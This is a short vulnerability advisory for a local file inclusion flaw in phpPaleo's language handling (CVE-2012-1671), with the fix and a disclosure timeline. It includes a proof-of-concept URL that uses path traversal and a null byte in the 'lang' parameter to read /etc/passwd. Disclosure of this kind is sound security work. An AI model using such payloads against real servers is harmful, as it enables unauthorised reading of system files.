'phpPaleo' Local File Inclusion (CVE-2012-1671) Mark Stanislav - mark.stanislav@gmail.com I. DESCRIPTION --------------------------------------- A vulnerability exists in index.php for language handling that allows for local file inclusion using a null-byte attack on the 'lang' GET parameter. II. TESTED VERSION --------------------------------------- 4.8b156 III. PoC EXPLOIT --------------------------------------- http://localhost/phppaleo/index.php?lang=../../../../../../../etc/passwd%00 IV. NOTES --------------------------------------- * magic_quotes_gpc must be disabled and PHP must be < 5.3.4 for null-byte attacks to work V. SOLUTION --------------------------------------- Upgrade to 4.8b157 or above. VI. REFERENCES --------------------------------------- http://sourceforge.net/projects/phppaleo/ http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1671 VII. TIMELINE --------------------------------------- 03/01/2012 - Initial vendor disclosure 03/02/2012 - Vendor patched and released an updated version 04/04/2012 - Public disclosure